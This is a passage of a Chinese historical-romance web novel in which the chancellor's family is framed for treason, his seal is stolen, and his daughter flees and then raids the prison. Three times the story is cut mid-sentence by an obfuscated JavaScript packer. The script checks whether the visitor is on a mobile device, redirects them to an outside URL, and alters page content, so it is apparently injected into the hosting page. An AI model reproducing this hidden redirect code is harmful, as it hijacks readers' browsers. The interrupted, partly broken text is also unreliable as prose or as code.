莲玉荇把东西悉数塞进巷箱子里,很是满意。 丛云的婚宴定在初六,常安侯府的迎亲队伍早早到了丛府接亲,常小侯爷鲜衣怒马,意气风发。 队伍一路敲锣打鼓,返回常安侯府。 宾客接连而至,脸上都洋溢着喜色。 常安侯府的管家唱和,“户部侍郎到!” “礼部侍郎到!” …… 莲玉荇来得早,静静坐在一处,将现场的场景收尽眼底。 新郎新娘拜天地,敬高堂,礼即成。 常安侯的态度同之前大不一样,脸上挂满了笑意,常安侯夫人笑得勉强。 贺砚随和贺沅安都派人送了厚礼,人却没到。 莲玉荇心里仍然有气,不想见到贺砚随,所以他不来倒是一件好事。 莲玉荇坐在席面上饮酒吃菜,不知过了多久,面前突然多了一片阴影。 “莲姑娘,本侯敬你一杯。”莲玉荇眯着眼睛看过去,席凝喜服加身,很是喜庆,手上保持着敬酒的姿势,态度十分恭敬。 莲玉荇迟迟不动,各处的目光全都汇聚在他们身上,充满了探究,就连高台上的常安侯夫妇也看了过来。 “小侯爷不必多礼。”莲玉荇站起身,脸色看不出什么端倪,“今日乃是小侯爷和丛云的大喜之日,理应由我来敬小侯爷。” 酒杯相碰,莲玉荇率先饮下酒,眸光明亮。 席凝眉眼带笑,“多谢。”正准备走得时候,被莲玉荇叫住了。 “莲姑娘还有何事?”意席凝面露疑惑。 莲玉荇勾起唇角,压低声音,“席凝,你若敢欺负丛云,不论山高水长,我必定要揍得你满地找牙。” 席凝笑了笑,丞相府小姐果真名不虚传,不似外面所说娇娇弱弱。 “多谢莲姑娘关心,阿云如今是我明媒正娶的妻子,我关心她还来不及。” 莲玉荇扬眉,“那便再好不过。” ** 与宫外的喧嚣热闹不同,皇宫内还是一如既往地寂静肃穆,除了御花园的花花草草,大概也没什么生机。 太监在前面带路,贺砚随落在后面,不疾不徐走着。 今日他原本打算去参加常安侯府的婚宴,刚准备出门,便有太监带着昭文帝口谕来宣他进谏。 “端王殿下,陛下在宣政殿,您请进去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430464|141427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”太监将人领到,恭敬站到一边,请贺砚随进去。 贺砚随颔首感谢,抬脚进了宣政殿,龙案上的奏本堆得很高。 听说这几日政务繁忙,昭文帝没时间回寝宫,便日日宿在宣政殿。 昭文帝从内殿出来,看到贺砚随后,混浊的眼睛动了动。 昭文帝似乎越发苍老了,双眼无神,行动缓慢。贺砚随不着痕迹地打量着昭文帝。 贺砚随躬身行礼,“儿臣参见父皇。” “随儿过来,坐到父皇身边来。”昭文帝招招手,示意贺砚随到他身边来,“我们父子已经许久未见了,今日找你来和父皇说说话。” 昭文帝话里隐含着问情,贺砚随直觉昭文帝应该是带着什么目的,内心毫无波动,甚至想发笑。 贺砚随垂眸,顺从地坐到昭文帝身边,“父皇想见儿臣,随时传唤便是,儿臣随时都在。” 昭文帝会的,贺砚随也会。 “……”昭文帝盯着他看了一会儿,移开目光,满意地笑笑。 “朕有件事想问问你。”昭文帝顿了顿,沉声道:“你觉得你的几位兄长兄弟如何?” 贺砚随瞳孔微缩。 …… 贺砚随走出殿外,时间已经过去了两个时辰,先前带他进宫的太监又按照原路把他带出宫。 日头西斜,在贺砚随身后拉出长长的影子,偌大的皇宫里此刻笼罩在昏黄之中。 快到宫门口,远远有个人影朝着他们走过来,贺砚随眼神极其好,一眼就认出那道身影是贺沅安。 他已经查到了,就是贺沅安派人偷看案册,将案册之事告诉莲玉荇的。 贺砚随心头火起,面上仍旧淡然如水,视线没有半分偏移,和贺沅安擦肩而过。 贺沅安却开口叫住他,随意道:“端王殿下来去匆匆,不如再留下一起坐坐。” “不必,父皇已和本王相谈甚欢,不知不觉便过去了两个时辰。”贺砚随好心提醒,“父皇劳累,想必已然睡下了,景王不妨明天再来。” 贺沅安若有所思地点点头,“也是,那本王还是去常安侯府的婚宴坐坐,上次和莲姑娘相谈甚欢,正好和她喝上几杯。” 贺沅安语气轻描淡写,“相谈甚欢”几个字落在贺砚随耳朵里充满嘲讽意味,微微变了脸色。 真卑鄙。贺砚随忍不住在心里骂道,望向贺沅安的眼神幽暗。 “本王警告你,你最好离莲玉荇远一点。”贺砚随加重语气道。 贺沅安:“这话你不妨与莲玉荇去说,与本王说了可没有什么作用。何况我们不过是各取所需罢了,是莲玉荇自己有求于我。” 有求于他?贺砚随不信,有什么重要的事情需要去求贺沅安这种人,肯定是贺沅安编出来骗他的谎话。 贺沅安看懂了他的脸色,一副破罐子破摔爱信不信的模样,拂袖而去。 毕竟他的目的已经达到了,用贺砚随藏起来的案册来挑拨他和莲玉荇的关系,再趁机贬损一番贺砚随,让贺砚随不痛快。 虽然看上去不太厚道,但这是贺砚随欠他的。 他有点期待接下来的事情了。 贺沅安勾唇。 30. 盗窃 揽玉阁中,容貌姣好的女子斜靠在软塌上闭着眼睛小睡,眼睫颤动,看样子睡得很不安稳。 “……不要!”莲玉荇忽地睁开眼,眼神惊恐万分。 模糊的眼神变得清明,莲玉荇胸口仍旧起伏着,缓了好一会儿才平复下来。 自重生以来,她已经好久没梦到过前世的事情了,今日竟然又重新梦到了。 日有所思,夜有所梦,莲玉荇觉得应该是她最近忧思过重了。 “小姐!”妙青推门进来,脸上带着笑意,“小姐,丞相回来了。” 莲玉荇惊讶道:“是吗?”芜阁来信说莲丞相还得两三天才到京都,没想到现在就到了,那应该是收到了她寄过去的信。 莲玉荇赶忙起身收拾了一下,到书房去找莲丞相。 到了书门口的时候,旁边的草丛忽然无风自动,莲玉荇觉得蹊跷,准备上前查看,却听到一声猫叫,打消了怀疑。 “父亲。”莲玉荇收回眼神进了书房,欠身行礼,她在信中简单提到了案册之事,此等大事,莲丞相不会耽搁。 莲丞相一路奔波劳累,脸上都是倦色,来不及沐浴更衣,便拉着莲玉荇详谈。 “阿荇,为父刚收到你的信件,便匆匆往回赶,消息可属实?”莲丞相脸色凝重。 如若是真的,就算莲丞相与此事没干系,也必定会被昭文帝怀疑,治下不严的罪责担起来也不轻松。 莲玉荇点点头,将案册和芜阁那边查到的东西一并交给莲丞相,道:“女儿派人去查过了,消息属实。” 贺沅安的话她没有全信,自己去查了一下,还真没有什么问题,案册上所说都是真的。 莲丞相看完手上的东西,沉默不语,他的好门生竟然背着他做了这么多龌龊事。 就算他向陛下认罪,也难逃惩罚。莲丞相心想。 现下最重要的,便是及时止损,贪污受贿尚且不算大事,通敌叛国可是杀头灭族的大罪。 莲丞相心里有了主意,安抚莲玉荇,“阿荇,这件事牵涉太广,接下来的事情便交给为父,你安心在府中待着,照顾好你母亲。” 莲玉荇面露担忧,“通敌已是事实,就算父亲去了又能如何,劝他们自首吗?” “一日为师,终身为父。”莲丞相叹气,“我不忍心让他们继续错下去。” 莲丞相目光十分坚定,俨然已经做好了决定,没人能动摇。 莲玉荇知道莲丞相去意已绝,想了个折中的方法,“父亲刚回京都,现在立刻出城恐引起京都文武百官猜测怀疑。不如您先派身边人去见一见,探探虚实,等有了笑消息,父亲再去也不迟。” 莲丞相想了想,“有道理,那我便修书一封即刻送往燕州。” 莲丞相笔走龙蛇,很快便写好书信,准备盖印的时候却发生了意外。 原本应该放着私印的地方此刻空空如也,私印不翼而飞,空荡荡的盒子仿佛在嘲笑着他。 盒子脱手掉落在地上,莲丞相浑身颤抖,接连遭受刺激,身体已然受不住,他踉踉跄跄往后退去,几乎要一头栽倒在地。 莲玉荇站在书桌旁,隔着莲丞相有点远,没看清发生了什么,看到莲丞相的失态模样,赶忙上前扶住他。 这个时候莲玉荇才察觉到事情的严重性。 莲丞相的私印丢了。 若是被不怀好意的人拿了去胡作非为,丞相府的气运便到头了。 莲玉荇不可避免想到了前世莲家的惨状,身子一抖。 她镇静下来,突然想起方才在门口见到的异状,莫不是那时就是贼人潜进书房偷私印? 莲玉荇:“父亲,我方才在书房门口发现了不对,现在不是担忧的时候。” 莲玉荇拍了拍莲丞相的手以示安慰,马上想出了方法,“我让人顺着贼人留下的痕迹搜索一下,兴许能找到他的下落。” “也只能这样了。”莲丞相恢复了平静,联系案册之事和不翼而飞的私印,捋出一丝不对劲来。 这两件事怎么看都是冲着丞相府来的,到底是谁在暗中操控,简直是要置他于死地,置丞相府于死地。 近来发生的事,让莲玉荇越发庆幸争取到芜阁,为她和丞相府留了一个退路。就算真到了不可回旋的境地,她也能保护家人的安全。 父女俩商讨到了半夜才将将结束,莲丞相郑重地叮嘱莲玉荇:“阿荇,私印丢失这件事,千万不能有第三人知晓,不然……” 莲丞相话只说了一半,莲玉荇却十分清楚,应声道:“请父亲放心,事关丞相府安危,女儿心里有数。” 莲丞相满意点点头,只希望丞相府能平安度过此劫。 ** 明月当空,黑衣人借着夜色掩盖,在京都七拐八拐,最终落在了景王府的屋顶之上。 黑衣人气息不稳,等呼吸平息之后,三下五除二地脱掉身上的黑衣,拉下面纱,赫然是之前被贺沅安下令关起来的眠霜。 眠霜得了组织的消息,让她留在景王府监视贺沅安,然后去丞相府取一件东西。 她观察很久,好不容易找到景王府暗卫的换值间隙,这才得以完成任务。 她摸了摸胸口的东西,安心地松了一口气,刚出丞相府不久她便发觉有人在追着她,费了好大的力气才将人甩掉。 现在已经过了换值的时间,不知道还进不进得去。 好在暗卫们没有注意到角落,眠霜小心翼翼跳下屋顶,溜回房间去了。 院子里的树下某一片阴影深了又暗,隐约可以看见一道模糊的身影。 眠霜对此一无所知。 第二日晚上,眠霜照旧踩好点,时辰一到就稍稍来到院子里的角落。 院墙下面有个狗洞,人钻不出去,但是可以把手伸出去。 眠霜四处观望,确定没有人以后,便以一种十分奇怪的姿势跪在地上,往外递东西。 “务必把东西交到堂主手上。”她压低声音说话。 洞口的那人“嗯”了一声,接过东西,很快便消失不见了。 眠霜收回手,还未完全直起身子便僵在原地,一动不动。 贺沅安不知道何时出现在了她身后,笑得意味深长,令眠霜一时不知道该做何反应,过了许久,眠霜讨好似地笑笑。 她还要留在端王府监视贺沅安,不能让贺沅安发生她在做的事情,不然就完蛋了。 贺沅安仍旧笑着,笑意却不达眼底,迈步走向眠霜,姿态悠闲。 眠霜直起身子,不经意地对上贺沅安的视线,下意识想退后几步,强忍着才将自己钉在原地。 她也没做什么事,充其量就是钻了个狗洞,贺沅安也拿她没办法。 眠霜心下稍安。 “王爷也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430465|141427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来赏月吗?今晚月色真不错。”眠霜扯着话题,刚说完一朵乌云飘过将月亮盖住了。 贺沅安顺着她的话说,“确实……不错。” 眠霜尴尬地笑笑,心里嘀嘀咕咕,这么拙劣的谎话贺沅安竟然也信。 一阵风刮过,眨眼间贺沅安便来到眠霜面前,大手掐住了眠霜纤细修长的脖颈,将她整个人掼到墙上,暗暗用力。 后背擦到粗糙的墙壁,泛起一阵阵痛感,眠霜忍不住低声吸气,“景王殿下这是何意?是我哪里做错了,惹殿下不悦了吗?” 眠霜的声音又低又弱,贺沅安忍不住皱眉,面前这个女人时而像刀剑一般坚韧不屈,时而又格外会示弱讨饶,他一时间有些恍惚。 手上的皮肤温热,贺沅安无知无觉地摩挲了一下,眠霜的身子倏然僵住,脸色微变,想挣扎,被贺沅安按了回去。 “别动!”贺沅安警告她:“敢在本王眼皮子底下耍小动作,真以为本王不知。” “昨天晚上你去哪儿了?刚才给你的同伙传递了什么消息?你到底是什么身份?”贺沅安连连质问,手上也不断用力,眠霜脸憋得通红,呼吸不畅。 贺沅安放开了手,眠霜疯狂咳嗽起来,眼眶通红,一句话也说不出来。 看起来真可怜。 贺沅安背过手,眼光淡漠,“从今往后,你最好安分守己,别再让本王发现你搞小动作。” 就眠霜这三脚猫的功夫,那个组织竟然还派她来刺杀,真是高看她了。 贺沅安很不屑,瞥了一眼狼狈的人,视线在她脖颈红痕处停留片刻,仿佛被烫到一般收回了视线。 这次便小施惩戒,下次他可不会心软。 …… “王爷,您吩咐的事情属下已经查清楚了。” 暗卫开始汇报调查的结论:“眠霜是江湖组织宁津堂的下等杀手,被派来刺杀王爷。” 暗卫语气稍顿,继续说下去:“五日前,宁津堂接受神秘委托人的委托,要一块京都官员私印,不过具体是哪位官员尚未可知。” “属下近日听闻丞相府内发生了大事,连尚在外地的莲丞相都赶了回来,昨夜好似有些异动。”暗卫补充道。 昨夜?贺沅安心道,昨夜派去跟踪眠霜的暗卫来报,眠霜潜入的好像就是丞相府。 那就是偷莲丞相的私印了。 前几日他把那份案卷给莲玉荇,目的有三,一是离间贺砚随和莲玉荇的关系,二是补偿莲玉荇之前对他的帮助,三则是暗中给莲玉荇设了一个圈套,只要莲丞相去接触案卷中的人,就会和他们扯上藕断丝连的关系。 而现在有人委托宁津堂偷来莲丞相的私印,似乎是想把这件事做实,直接置丞相府于死地。 贺沅安心里一惊,这件事必然是八皇叔贺凭舟所做。 虽然早知道八皇叔心思深沉不可预测,得知他的做法还是会忍不住惊叹,这盘棋下得太大了。 贺沅安从答应贺凭舟那一刻起,就是这棋盘上的一颗棋子,贺凭舟用来对付贺砚随和丞相府的棋子。 他日东窗事发,贺凭舟全身而退,便只有他独自承担贺砚随和莲玉荇的恨意和报复。 贺沅安很不爽,他这位八皇叔真以为他什么都不懂,好拿捏。 那便再陪这些人玩一会儿。 他得做好全身而退的打算。贺沅安心想。 31. 亲吻 种种现象表明,背后之人按捺不住,已经准备对丞相府动手。 莲玉荇派芜阁的人去燕州暗中查探,看有没有人用丞相的私印做事,传来的消息都是没有,但是也迟迟找不到私印所在。 心中的不安之感越来越强烈,莲玉荇心里焦急不已。 好在半月后,莲丞相身边的亲信传回消息,燕州太守被说服,愿意悬崖勒马回京请罪。 担惊受怕了半个月,莲丞相久违地露出笑意,心想真是个好消息。 那现在他也没必要亲自前往燕州了,私印丢失这事不能再拖了,他得赶紧进宫向昭文帝说明此事,再进言替燕州太守说说情。 “阿荇,为父今日便入宫求见陛下,说明缘由。”莲丞相道。 莲玉荇蹙着眉,“父亲一路小心。”昭文帝老谋深算,心思深沉,往严重了说,莲丞相和通敌叛国者有牵扯,逃不了干系,昭文帝决不会将这事轻飘飘揭过去。 纵使心里担忧,莲玉荇却没有表现出来,挤出一抹笑意,一路送莲丞相出府。 莲玉荇望着莲丞相远去的方向,攥着手指,心里暗暗祈祷,希望老天能庇佑父亲平安无事。 只是不知道什么缘由,莲玉荇一下午没来由地心慌,干什么都没心气。 莲玉荇揉了揉额头,问:“夫人此刻在哪儿?” 妙青答:“方才我路过祠堂,发现夫人在祠堂上香。” 莲玉荇得了莲夫人的位置,立即往祠堂去,莲夫人还在蒲团上跪着,嘴里念念有词,应该是在念经书。 “……”莲玉荇默不作声,慢吞吞在莲夫人旁边跪下,叩头作揖。 莲夫人太过入神,过了好一会儿才发现身边的莲玉荇,眼神慈爱。 叩拜结束,莲玉荇将莲夫人扶起来,“母亲怎么在这儿?” “不知道为什么,今天我总是心慌,眼皮也跳个不停,总觉得有事要发生。”莲夫人抚了抚心口,叹气,希望是她想多了。 莲玉荇没说话,扶着莲夫人的手微微用力,往向祠堂外面。 天色阴沉,阴云翻涌,像是会有一场大雨到来。 莲夫人突然问道:“已经到了下朝的时辰,你父亲怎么迟迟不归家?” 现在已经是辰时,算算时辰,莲丞相应该回到丞相府了,况且也没听说他今天要见别的人。 莲玉荇心里一跳,扶着莲夫人到了正厅,唤来了小厮,“你去打听打听父亲的行踪。” 小厮得令,匆匆出府打听去了,莲玉荇在莲夫人身边站着,让莲夫人冷静了几分,阿荇还在,她不能自乱阵脚。 天已经彻底暗了下来,莲玉荇和莲夫人已经从正厅移到了丞相府门口。 前去打听的小厮迟迟不归家,有官员路过丞相府也匆忙离去,不等莲玉荇询问,便不见了影子。 再等半个时辰,如若还没有莲丞相的消息,她便亲自入宫去。 莲玉荇眼底情绪翻涌,几乎要喷薄而出。 这时,茫茫夜色中多了一点光亮,照亮了莲玉荇她们,莲玉荇眼神希冀。 是先前派去打听消息的小厮! “夫人,小姐!”小厮神色匆匆,将打听到的消息悉数告知,“与丞相一同上朝的官员告诉小的,莲丞相今日上朝被人弹劾,罪状是通敌叛国,已经被押送大理寺。” “什么?!”莲夫人大惊失色,不敢相信这是真的,身子摇摇欲坠。 莲玉荇勉强镇定,让小厮继续说。 “陛下颁下圣旨抄家,大理寺已经派人来了!”小厮神情惊恐,手里照明的灯笼脱手掉在地上。 如果不是证据确凿,昭文帝万万不会如此心急,直接将莲丞相下狱。 千算万算,没想到莲丞相还是着了道。莲玉荇脸色苍白,让小厮先将府门关闭。 莲夫人悲痛不已,看着面前的莲玉荇,挣扎着振作起来,快速收拾了一些金银细软,塞到莲玉荇手里。 莲玉荇恍惚问道:“母亲,你这是做什么?” 莲夫人眼底噙着泪,心疼地摸着莲玉荇的头,就如从前那般。 “女儿,如今你父亲遭了难,陛下又下令抄家,你现在不走,就逃不掉了。” “你父亲为人清正,通敌叛国这种事情他做不出来,现在只有你能帮他洗清冤屈。” 莲玉荇听莲夫人这话,当即反应过来,想把手里的东西丢出去,被莲夫人紧紧按住。 “母亲,我不会丢下你们,我们一起走……”莲玉荇话里有哭腔,眼眶也一下子变红了。 “听话。”外面隐约有声音传来,莲夫人神情一紧,拉着莲玉荇来到后院,将梯子架了上去。 “你们干什么?!” “奉命行事,给我搜!” …… 外面乱做一团,莲玉荇知道她留在这里也起不了什么作用,心里挣扎万分,莲玉荇最终还是决定离开。 听着越来越近的声音,莲玉荇紧紧握着莲夫人的手,好像在做最终的告别。 “阿荇,活着就有希望,快走吧,有人来了。”莲夫人催促着。 莲玉荇放开手,毅然决然踏上离开的路,临走前莲玉荇回头看了一眼。 “她们在那!给我追!”大理寺的人搜查到了后院,一眼就发现逃跑的莲玉荇,赶紧命人去追。 一夜之间,京都盛极一时的高门丞相府被查抄殆尽,面目全非,莲家众人被悉数下狱,莲家独女莲玉荇侥幸逃脱,莲家长子莲玉鹤远在河西,未被波及。 ** 京都某处巷子,莲玉荇躲在角落里不敢吱声,巷子外全是在搜捕她的大理寺官兵。 距离莲家动乱已经过了一天一夜,莲玉荇也逃了一天一夜,因为长时间没有阖眼,眼睛干涩泛红。 白日她看到大理寺的人在粘贴通缉告示,上面赫然是她的脸。 莲玉荇一时间不知道该怎么办了,要是一直待在这里,照大理寺的搜捕进度,她迟早得被抓。 莲玉荇透过缝隙往外看去,人好像越来越多了。 不能再坐以待毙了,莲玉荇缓缓站起身,小心翼翼往后退去。 莲玉荇成功退到巷口,就在快要逃脱的时候,突然身后传来一身暴喝,“什么人,站住!” 莲玉荇脸上闪过懊恼,撒腿就跑,身后脚步声杂乱,听起来有很多人在追。 靠着对京都地形的了解,莲玉荇好几次都躲过去,但是始终不能甩开身后的人。 身后的人越来越近,莲玉荇却渐渐力竭,四处扫视,看有没有什么能藏身的地方。 就在大理寺的人追上的前一秒,莲玉荇忽然被人拉进了巷子角落,撞进一个温热的怀抱。 温润醇厚的菖蒲香萦绕在鼻尖,莲玉荇只一瞬间便认出身边之人,她剧烈挣扎起来,想要挣脱男人的怀抱。 “别动。”贺砚随低声说话,怕莲玉荇出声引来大理寺的人,手上微微用力,但掌握着分寸,不会捂到莲玉荇。 大理寺的人渐渐走远了,贺砚随还捂着莲玉荇,正准备放开她,旋即手上传来一阵剧烈地疼痛,莲玉荇狠狠咬上他的手。 贺砚随吃痛,却没有甩开,任由莲玉荇发泄,垂眸,发现莲玉荇正冷冷盯着他,贺砚随心下一沉。 “为什么救我?”莲玉荇心里快意,质问他:“是做了亏心事心虚吗?” 前段时间贺砚随刻意隐瞒燕州太守通敌叛国之事,又派人将知情人灭口。 莲玉荇十分怀疑,莲府遭难一事是贺砚随从中作梗,他真的太可疑了。 莲玉荇的话称得上是尖锐,贺砚随的眉头霎时间皱起,随即反应过来,莲玉荇应该是误会莲丞相一事是他所做的了。 贺砚随道:“阿荇,你误会了,此事并非我所为。” 莲玉荇心里冷笑,眸子里闪过讽刺。 “别这样叫我。”莲玉荇语气凉薄,划清两人的距离。 “很好玩儿是吗贺砚随?”莲玉荇接着说:“你之前做出那样的事,现在又来救我,简直惺惺作态。” 贺砚随沉默不语,过了一会儿缓缓说道:“不是你想的那样,你先冷静一会儿。” 莲玉荇勾唇,“我哪里不冷静,端王殿下若是看不惯我,可以离开。” 让她自生自灭就好。 先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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迎月将汤婆子递给莲玉荇,犹豫着,“莲姑娘,迎月有一件事想说。” “你说。”莲玉荇又打了个喷嚏,揉了揉鼻子。 迎月:“送信人那事,是十九违抗了主子的命令,擅自做决断将送信人杀了,不是主子的意思。” “主子回来之后,便罚十九三十鞭,关了禁闭。”迎月看看脸色不对,赶紧补充道:“我说这话不是博姑娘同情,也不是主子的意思,是我不想主子和姑娘因此产生嫌隙。” 昨夜主子带莲姑娘回府的时候,她有些惊讶,但看见两人别别扭扭,就知道因为之前的事情两人还有隔阂。 于是自作主张说了这么一些话。 莲玉荇低眉耷眼,嗯了一声,迎月知道自己的话起了作用,收拾收拾退下了。 手里的汤婆子很温热,莲玉荇晃了神,窗户被叩响,声音虽小,但被莲玉荇清晰地捕捉到。 莲玉荇抬眼看了看门外,轻手轻脚下了床,打开窗户,一个竹筒映入眼帘。 她四处看了看,没发现送信的人,打开信件,里面列出了和燕州太守接触的一些人,视线落在一处熟悉的名字上颤了颤。 怎么是他?莲玉荇眼底闪过不可置信,而后又转变成懊恼和愤怒。 她气极了,将手里的竹筒扔了出去,不小心碰掉了床头的书册。 掉落在地上的书册摊开来,莲玉荇低头看去,上面提到了贺沅安从送信人手里过去燕州太守通敌叛国的证据,又转交给她的事情,也记载了贺沅安和燕州太守交往甚密的事实。 贺沅安。莲玉荇心里默念这个名字,脸上泛起薄怒。 该死的贺沅安,从一开始贺沅安便给她设了圈套,诱导她将这件事告诉莲丞相。 只要莲丞相有所动作,便可以将通敌叛国的罪名落实。 莲玉荇忽地想到莲丞相的私印丢失一事,想来也是贺沅安的手笔,如此莲丞相便被按死,无力回天。 莲玉荇不解,贺沅安为什么要这么做,在淮安的时候她分明帮了他。 是了,是莲玉荇有求于他罢了,所以贺沅安先前都是在利用她。 “贺沅安……你给我等着。”莲玉荇低声道,拳头紧握。 32. 劫狱 长夜漫漫,莲玉荇却没有半点睡意,躺在床上翻来覆去,少顷缓缓坐起身,目光放空。 自来到端王府之后,莲玉荇便没再见过贺砚随,脑海里不停地浮现昨日的情景。 ‘我哪里不冷静,端王殿下若是看不惯我,可以离开。’ ‘跟我回去,到时候要杀要剐都随你。’ 赌气般的话,还有雨夜里混乱暧昧的吻。 莲玉荇想,贺砚随真的没有故意陷害,她怒气上头将贺砚随骂得狗血喷头,得找个机会和他道歉。 可是贺砚随是不是不想见她,所以才不露面。莲玉荇有些沮丧,她贸然前去的话,贺砚随不一定会同意见她。 另外父亲和母亲还在大牢里,不知道情况如何。 莲玉荇不甚烦忧,将被子蒙上脑袋。 天光大亮,房门打开,迎月从门外进来,把吃食和熬好的药放下,“莲姑娘好些了吗?” 莲玉荇揉了揉惺忪的眼,起身,“好多了,多谢迎月姑娘。” 碗里的粥香气浓郁,莲玉荇低着头喝粥,一边状似无意问道:“这几日端王殿下很忙吗?我有件事想请端王殿下帮忙。” “主子这几日都不在。”迎月道:“朝中有事,陛下召主子入了宫,约莫晚上会回来,莲姑娘有事可以等主子回来再说。” 莲玉荇颔首,眉宇却压低了,朝中的事无非就是丞相府通敌叛国一事。 丞相一倒,朝堂上各派势力动荡不安,各自站队,各自担忧下一个会不会轮到自己,更重要的是如何处置丞相府。 莲玉荇眸色渐深,眼下丞相府通敌叛国一事已经坐实,以昭文帝的脾气,眼底容不得一粒沙子,很有可能会将丞相府众人处死。 她要把父亲和母亲救出来。 不能再等了,迟则生变。莲玉荇眼波粼粼,心里有了想法。 ** 入夜,端王府里寂静一片,偶尔一声声蝉鸣鸟叫。 白日莲玉荇给芜阁送了信,告知了她的计划,闻人秀很快便回复了她,让她放宽心,只管等着。 莲玉荇按照约定来到距离大理寺不远处的巷子里,果然见到了一群神色警惕的黑衣护卫。 想来这便是芜阁的人了。莲玉荇心想,接着把之前闻人秀给她的印信展示出来,芜阁的人都恭恭敬敬地向她行礼。 “莲姑娘,大理寺的情况芜阁已经摸清楚,何时出手还请姑娘明示。” 说话的人将查到的线索细细说来,莲玉荇不动声色,“趁着他们换值,现在便进去,尽量避免正面冲突!” “是!” 一柱香后,两支队伍分头行动,一队悄无声息将莲玉荇带进地牢,沿途偶有大理寺的人出没,但都被芜阁的人解决了,一队则守在外面接应。 莲玉荇被保护得很好,进了地牢之后,一眼就发现了莲丞相他们所在的位置。 莲丞相一干人等被关在狭小的牢房里,身上都穿着囚服,脸上尽是疲惫麻木,看上去受了很大的打击, 现下莲丞相正闭眼假寐,并没有看到站在面前的莲玉荇。 牢房里的生活,哪里能像从前一般。莲玉荇抿紧唇角,强忍情绪迈步上前。 莲丞相也发现牢房里不寻常的动静,睁开眼睛,惊讶之色溢于言表。 “……”莲丞相道:“阿荇,你没受伤吧?你是如何进来的?” 莲夫人的反应不比莲丞相小,霎时间红了眼眶,扑上前来,细细查看莲玉荇,发现没什么伤口,这才放下心来。 莲玉荇让人打开牢房门,一家三口在混乱不堪、不知未来的时候有了短暂地相聚,一时无言,只紧紧握着对方的手。 不过才分开了三四天,仿佛过了许久。 “不是让你离开吗?怎么又回来了?”莲夫人满眼担忧问道。 莲玉荇顿了顿,“女儿放心不下父亲和母亲,而且通敌叛国这件事实在太过蹊跷,我想听父亲亲口所说。”瞧瞧其中还有什么遗漏的细节。 莲玉荇看向莲丞相,目光灼灼。 莲丞相垂手叹气道:“我也觉得蹊跷,那日我原本打算下朝之后单独去找陛下坦白燕州太守通敌叛国和私印丢失之事……” “不曾想不等下朝,便有人上奏参我通敌叛国,还呈上了证据,陛下看完证据,怒发冲冠,当即让御林军将我下狱,并抄家以警示众官员。”说到最后,莲丞相满脸无奈,隐隐有怒气。 从燕州太守通敌叛国,到私印丢失,再到殿前参奏,这一切都太顺理成章,水到渠成了。 像是从一开始就是针对丞相府的一个局。 莲丞相一时间想到什么,不由得毛骨悚然,惊出一身冷汗。 “这样啊……”莲玉荇喃喃,倒是和她知道的没什么出入,这确实是针对丞相府的局。 但贺沅安在这个棋局中,是不是如她猜想的一般,是掌控全局的主导者,还是被人操控的棋子呢? 莲玉荇突然问道:“那日上朝景王殿下在吗?” “不曾见过。”莲丞相摇摇头,“景王殿下称病告假了,并没有参加那日的朝政。” 莲玉荇若有所思,原本她确实以为贺沅安是这件事的主导者,可是丞相府和贺沅安没有直接的利益关系,贺沅安犯不着大费周章来搞垮丞相府。 此外,贺沅安最痛恨的人,貌似是贺砚随。 而且,就算贺沅安真的对丞相府心存恶意,想在背后搞手段,也不用亲自动手,还留下诸多一查便知的线索,毕竟很轻易便能查到他,实在不值当。 贺沅安背后肯定还有其他人,莲玉荇很快下了结论。不过保守起见,还是要等她见了贺沅安之后,才能做出判断。 莲玉荇理清了脉络,还没等说些什么,地牢外面便传出巨大的声响,莲玉荇脸色微变。 黑衣护卫快步进了牢房,淡淡道:“还请姑娘尽快,大理寺的人已经发现我们私闯地牢,陆陆续续有人支援过来,否则过一会儿离开便难了。” 气氛陡然紧张起来,莲玉荇心跳砰砰作响,扭头看向莲丞相和莲夫人,目光恳切,嗓音艰涩。 “父亲,母亲,我此行的目的想必你们已经猜到了,通敌叛国的罪名重大,昭文帝不会轻易放过丞相府,我带你们逃……” 莲玉荇的话还未说完便被莲丞相打断了,他平静地叙述着,“逃到哪里去呢?普天之下,莫非王土,我们能逃一时,却不能逃一辈子。” “何况,逃了之后不就默认你父亲我通敌叛国的罪名了,所以我们不仅不能逃,还要堂堂正正地从地牢里走出去。”莲丞相加重了语气。 外面杂乱的声音越来越近了,莲玉荇的心仿佛被人揉来揉去,酸涩不已,良久,她沙哑着声音:“好,都依父亲。” 护卫再一次催促。 莲玉荇抬起头,眼底闪过一丝不舍和坚定,她一定会查明真相,还丞相府一个清白。 莲夫人哽咽发话:“阿荇,离开之后你便别再来了,去河西郡找你阿兄,互相扶持,好好活着。” “父亲母亲保重身体。”莲玉荇郑重点头,和莲丞相他们做着告别,“等我回来。” …… 刀剑厮杀声在耳畔回响,浓烈的血腥气萦绕在鼻尖,莲玉荇被芜阁的护卫们护在中间,像来时一般,并没有受到一点伤害。 神思恍惚飘然而上,周围的场景渐渐淡出视线,莲玉荇不知道自己何时离开大理寺,也不知道自己如今在哪儿,她想她大概是病了。 